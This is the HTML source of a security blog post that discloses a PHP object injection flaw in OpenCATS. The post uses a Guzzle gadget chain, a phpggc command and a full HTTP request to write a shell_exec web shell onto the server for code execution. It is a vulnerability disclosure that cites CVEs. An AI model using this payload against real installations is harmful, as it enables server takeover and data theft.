

master

...

snoopysecurity.github.io / web-application-security / 2021 / 01 / 16 / 09\_opencats\_php\_object\_injection.html



snoopysecurity blog update 2 ✓

History

1 contributor

523 lines (288 sloc) 18.2 KB

...

```
1 <!DOCTYPE html>
2 <html>
3
4 <head>
5 <meta charset="utf-8">
6 <meta http-equiv="X-UA-Compatible" content="IE=edge">
7 <meta name="viewport" content="width=device-width, initial-scale=1">
8
9 <title>OpenCATS PHP Object Injection to Arbitrary File Write</title>
10 <meta name="description" content="Introduction">
11
12 <meta name="author" content="Sam Sanoop">
13 <meta name="copyright" content="©copy; Sam Sanoop 2022">
14
15
16 <!-- External libraries -->
17 <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css">
18 <!--<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.9.0/styles/.min.css"> -->
19 <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/lightbox2/2.7.1/css/lightbox.css">
20
21 <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.8/styles/default.min.css">
22 <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.8/highlight.min.js"></script>
23 <script>hljs.initHighlightingOnLoad();</script>
24
25
26 <
27
28 <!-- Favicon and other icons (made with http://www.favicon-generator.org/) -->
29 <link rel="shortcut icon" href="/assets/icons/favicon.ico" type="image/x-icon">
30 <link rel="icon" href="/assets/icons/favicon.ico" type="image/x-icon">
31 <link rel="apple-touch-icon" sizes="57x57" href="/assets/icons/apple-icon-57x57.png">
32 <link rel="apple-touch-icon" sizes="60x60" href="/assets/icons/apple-icon-60x60.png">
33 <link rel="apple-touch-icon" sizes="72x72" href="/assets/icons/apple-icon-72x72.png">
34 <link rel="apple-touch-icon" sizes="76x76" href="/assets/icons/apple-icon-76x76.png">
35 <link rel="apple-touch-icon" sizes="114x114" href="/assets/icons/apple-icon-114x114.png">
36 <link rel="apple-touch-icon" sizes="120x120" href="/assets/icons/apple-icon-120x120.png">
37 <link rel="apple-touch-icon" sizes="144x144" href="/assets/icons/apple-icon-144x144.png">
38 <link rel="apple-touch-icon" sizes="152x152" href="/assets/icons/apple-icon-152x152.png">
39 <link rel="apple-touch-icon" sizes="180x180" href="/assets/icons/apple-icon-180x180.png">
40 <link rel="icon" type="image/png" sizes="192x192" href="/assets/icons/android-icon-192x192.png">
41 <link rel="icon" type="image/png" sizes="32x32" href="/assets/icons/favicon-32x32.png">
42 <link rel="icon" type="image/png" sizes="96x96" href="/assets/icons/favicon-96x96.png">
43 <link rel="icon" type="image/png" sizes="16x16" href="/assets/icons/favicon-16x16.png">
44 <link rel="manifest" href="/assets/icons/manifest.json">
45 <meta name="msapplication-TileColor" content="#ffffff">
46 <meta name="msapplication-TileImage" content="/assets/icons/ms-icon-144x144.png">
47 <meta name="theme-color" content="#ffffff">
48
49
50 <!-- Facebook OGP cards -->
51 <meta property="og:description" content="Introduction" />
52 <meta property="og:url" content="http://localhost:4000/web-application-security/2021/01/16/09_opencats_php_object_injection.html">
53 <meta property="og:site_name" content="📄 | Blog" />
54 <meta property="og:title" content="OpenCATS PHP Object Injection to Arbitrary File Write" />
55 <meta property="og:type" content="website" />
56 <meta property="og:image" content="http://localhost:4000/assets/logo.png" />
57 <meta property="og:image:type" content="image/png" />
58 <meta property="og:image:width" content="612" />
59 <meta property="og:image:height" content="605" />
60
61
62
63 <!-- Twitter: card tags -->
64 <meta name="twitter:card" content="summary">
65 <meta name="twitter:title" content="OpenCATS PHP Object Injection to Arbitrary File Write">
66 <meta name="twitter:description" content="Introduction">
67 <meta name="twitter:image" content="http://localhost:4000/assets/logo.png">
68 <meta name="twitter:url" content="http://localhost:4000/web-application-security/2021/01/16/09_opencats_php_object_injection.html">
69
70
71
72
73 <!-- Site styles -->
74 <link rel="stylesheet" href="/css/main.css">
75 <link rel="canonical" href="http://localhost:4000/web-application-security/2021/01/16/09_opencats_php_object_injection.html">
76 <link rel="alternate" type="application/rss+xml" title="📄 | Blog" href="http://localhost:4000/feed.xml" />
77
78 <!-- Tooltips -->
```

```
79     <script type="text/javascript">
80         window.tooltips = []
81     </script>
82 </head>
83
84
85 <body>
86
87     <header class="navigation" role="banner">
88 <div class="navigation-wrapper">
89     <a href="/" class="logo">
90
91         
92
93     </a>
94     <a href="javascript:void(0)" class="navigation-menu-button" id="js-mobile-menu">
95         <i class="fa fa-bars"></i>
96     </a>
97 <nav role="navigation">
98     <ul id="js-navigation-menu" class="navigation-menu show">
99
100
101         <li class="nav-link"><a href="/about/">About</a>
102
103
104
105
106
107
108
109         <li class="nav-link"><a href="/posts/">Posts</a>
110
111
112
113         <li class="nav-link"><a href="/wallofsheep/">Wall Of Sheep</a>
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147     </ul>
148 </nav>
149 </div>
150 </header>
151
152
153 <div class="page-content">
154     <div class="post">
155
156 <div class="post-header-container " >
157     <div class="scrim ">
158         <header class="post-header">
159             <h1 class="title">OpenCATS PHP Object Injection to Arbitrary File Write</h1>
160             <p class="info">by <strong>snoopysecurity</strong></p>
161         </header>
162     </div>
163 </div>
164
165 <div class="wrapper">
166
167     <span class="page-divider">
168         <span class="one"></span>
169         <span class="two"></span>
170 </span>
171
172
173 <section class="post-meta">
174     <div class="post-date">January 16, 2021</div>
175     <div class="post-categories">
176         in
```

```

177     <a href="/category/web-application-security">Web-application-security</a>
178
179
180 </div>
181 </section>
182
183
184 <article class="post-content">
185     <h3 id="introduction">Introduction</h3>
186
187 <p>OpenCATS is an application tracking system that is written in PHP. More about OpenCATS can be seen here: https://www.opencats.org/. OpenCATS is vulnerable to PHP Object injectio
188
189 <h3 id="technical-details">Technical Details</h3>
190
191 <p>OpenCATS has an activity area to keep track of activities.</p>
192
193 <p></p>
194
195 <p>The following request is being sent to the application as part of a normal application workflow.</p>
196
197 <p></p>
198
199 <p>The parametersactivity:ActivityDataGrid parameter is sending serialized data as seen below which is being deserialized by the application using the unserialize function.</p>
200
201 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>a:9:{s:10:"rangeStart";i:0;s:10:"maxResults";i:15;s:13:"filterVisible";b:0;s:9:"startDate";s:0:"
202 </code></pre></div></div>
203
204 <p>The unserialize function can be seen in DataGrid.php</p>
205
206 <p></p>
207
208 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://github.com/opencats/OpenCATS/blob/develop/lib/DataGrid.php#L272
209 </code></pre></div></div>
210
211 <p>To exploit with vulnerability, a POP gadget chain can be created using guzzlehttp. A <code class="highlighter-rouge">__destruct</code> magic method available within <code class
212
213 <p>The relevant code that needs to be triggered can be seen below:</p>
214
215 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> public function __destruct()
216 {
217     $this->save($this->filename);
218 }
219
220 /**
221  * Saves the cookies to a file.
222  *
223  * @param string $filename File to save
224  * @throws \RuntimeException if the file cannot be found or created
225  */
226 public function save($filename)
227 {
228     $json = [];
229     foreach ($this as $cookie) {
230         /** @var SetCookie $cookie */
231         if ($cookie->shouldPersist($cookie, $this->storeSessionCookies)) {
232             $json[] = $cookie->toArray();
233         }
234     }
235
236     $jsonStr = \GuzzleHttp\json_encode($json);
237     if (false === file_put_contents($filename, $jsonStr)) {
238         throw new \RuntimeException("Unable to save file {$filename}");
239     }
240 }
241 </code></pre></div></div>
242
243 <p>In the above example, the <code class="highlighter-rouge">__destruct()</code> magic method calls the save() method on the <code class="highlighter-rouge">FileCookieJar</code> cla
244
245 <p>Multiple checks are also done to ensure that $cookie->getExpires() returns true and $cookie->getDiscard() returns false. After these checks, The <code class="highlighter-rouge">
246
247 <p>This is an already known gadget found by cf which is available within Guzzle versions <code class="highlighter-rouge">6.0.0 &lt;= 6.3.3+</code></p>
248
249 <p><a href="https://github.com/ambionics/phpggc">phpggc</a> can be used to generate a serialized exploit payload for this gadget</p>
250
251 <p>A payload such as <code class="highlighter-rouge"><span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">shell_exec</span><span class="p">{</span><span class="c">#</span><span class="p">}</span><span class="c">#</span>
252
253 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🔒 📁 🚫 master > ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/public/shell.php /tmp/shell
254 a%3A2%3A%7B%3A7%3B0%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7B%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3B%3A25%3A%22%2Fvar%2Fpublic
255 </code></pre></div></div>
256
257 <p>The request with the payload can now be sent.</p>
258
259 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A2%3A%7B%3A7%3B0%3A31%3A
260 Host: dwvs.local
261 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
262 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
263 Accept-Language: en-GB,en;q=0.5
264 Accept-Encoding: gzip, deflate
265 Connection: close
266 Referer: http://dwvs.local/index.php?m=activity
267 Cookie: _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiJlZ2MDkzNjMwNTY5InB0YyI6eyJjbWV6c2ciOnsiODYwIjoxLCI1MDA3IjoxfSwiX2M1OjE2MDkzNTg0MjE5IjoxNjA5MzUzMzI3fSwiX2hwaWJ0eXNj
268 Upgrade-Insecure-Requests: 1
269 </code></pre></div></div>
270
271 <p>The <code class="highlighter-rouge">shell.php</code> can now be leveraged to execute arbitrary code.</p>
272
273 <p></p>
274

```

```
275 <p><strong>Note:</strong> Multiple other areas within OpenCATs are also taking deserialized user input which can be leveraged for the same vulnerability. Also, Multiple Cross-site
276
277 <p></p>
278
279 <p>I've opened a GitHub issue to report this <a href="https://github.com/opencats/OpenCATs/issues/515">issue</a> and CVE has assigned two CVEs as well: CVE-2021-25294 and CVE-2021
280
281 </article>
282
283
284
285
286
287 <section class="rss">
288   <p class="rss-subscribe text"><strong>Subscribe <a href="/feed.xml">via RSS</a></strong></p>
289 </section>
290
291 <section class="share">
292   <span>Share: </span>
293
294
295
296   <a href="//twitter.com/share?text=OpenCATs+PHP+Object+Injection+to+Arbitrary+File+Write&url=http%3A%2F%2Flocalhost%3A4000%2Fweb-application-security%2F2021%2F01%2F16%2F09_opencats_php_object_injection.html"
297     onclick="window.open(this.href, 'twitter-share', 'width=550,height=255');return false;">
298     <i class="fa fa-twitter-square fa-lg"></i>
299   </a>
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322   <a href="//www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Flocalhost%3A4000%2Fweb-application-security%2F2021%2F01%2F16%2F09_opencats_php_object_injection.html"
323     onclick="window.open(this.href, 'linkedin-share', 'width=550,height=255');return false;">
324     <i class="fa fa-linkedin-square fa-lg"></i>
325   </a>
326
327
328
329
330
331 </section>
332
333   <section class="post-navigation">
334     <span class="prev-post">
335
336       <a href="/web-application-security/2021/01/08/02_php_object_injection_exploitation-notes.html">
337         <span class="fa-stack fa-lg">
338           <i class="fa fa-square fa-stack-2x"></i>
339           <i class="fa fa-angle-double-left fa-stack-1x fa-inverse"></i>
340         </span>
341         <span class="page-number">PHP Object Injection Exploitation Notes</span>
342       </a>
343
344     </span>
345     <span class="next-post">
346
347       <a href="/application-security/2021/04/14/09_adempierie_java_deserialization.html">
348         <span class="page-number">Adempierie Unsafe Deserialization to Code Execution</span>
349         <span class="fa-stack fa-lg">
350           <i class="fa fa-square fa-stack-2x"></i>
351           <i class="fa fa-angle-double-right fa-stack-1x fa-inverse"></i>
352         </span>
353       </a>
354
355     </span>
356   </section>
357
358
359
360
361 </div>
362 </div>
363
364 </div>
365
366 <footer class="site-footer">
367
368 <div class="wrapper">
369
370   <h3 class="footer-heading">📄 | Blog</h3>
371
372   <div class="site-navigation">
```

```
373
374 <p><strong>Site Map</strong></p>
375 <ul class="pages">
376
377
378 <li class="nav-link"><a href="/about/">About</a>
379
380
381
382
383
384
385
386 <li class="nav-link"><a href="/posts/">Posts</a>
387
388
389
390 <li class="nav-link"><a href="/wallofsheep/">Wall Of Sheep</a>
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424 </ul>
425 </div>
426
427 <div class="site-contact">
428
429 <p><strong>Contact</strong></p>
430 <ul class="social-media-list">
431 <li>
432 <a href="mailto:@snoopysecurity">
433 <i class="fa fa-envelope-o"></i>
434 <span class="username">@snoopysecurity</span>
435 </a>
436 </li>
437
438
439
440 <li>
441 <a href="https://twitter.com/snoopysecurity" title="Follow me on Twitter">
442 <i class="fa fa-twitter"></i>
443 <span class="username">snoopysecurity</span>
444 </a>
445 </li>
446
447
448 <li>
449 <a href="https://github.com/snoopysecurity" title="Fork me on GitHub">
450 <i class="fa fa-github"></i>
451 <span class="username">snoopysecurity</span>
452 </a>
453 </li>
454
455
456 <li>
457 <a href="https://www.linkedin.com/pub/sam-sanoop/47/769/60a" title="Connect with me on LinkedIn">
458 <i class="fa fa-linkedin"></i>
459 <span class="username">Sam Sanoop</span>
460 </a>
461 </li>
462
463
464
465
466
467 </ul>
468 </div>
469
470 <div class="site-signature">
```

```
471     <p class="rss-subscribe text"><strong>Subscribe <a href="/feed.xml">via RSS</a></strong></p>
472     <p class="text">Hack adventures while segfaulting through life
473 </p>
474 </div>
475
476 </div>
477
478 </footer>
479
480 <!-- Scripts -->
481 <script src="//code.jquery.com/jquery-3.4.1.min.js"></script>
482 <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
483 <script src="//cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.1/js/lightbox.min.js"></script>
484 <script src="//unpkg.com/popper.js@1"></script>
485 <script src="//unpkg.com/tippy.js@5"></script>
486
487 <script type="text/javascript">
488 $(document).ready(function() {
489     // Default syntax highlighting
490     hljs.initHighlightingOnLoad();
491
492     // Header
493     var menuToggle = $('#js-mobile-menu').unbind();
494     $('#js-navigation-menu').removeClass("show");
495     menuToggle.on('click', function(e) {
496         e.preventDefault();
497         $('#js-navigation-menu').slideToggle(function(){
498             if($('#js-navigation-menu').is(':hidden')) {
499                 $('#js-navigation-menu').removeAttr('style');
500             }
501         });
502     });
503
504     // Enable tooltips via Tippy.js
505     if (Array.isArray(window.tooltips)) {
506         window.tooltips.forEach(function(tooltip) {
507             var selector = tooltip[0];
508             var config = tooltip[1];
509             tippy(selector, config);
510         })
511     }
512 });
513
514 </script>
515
516
517
518
519
520
521 </body>
522
523 </html>
```

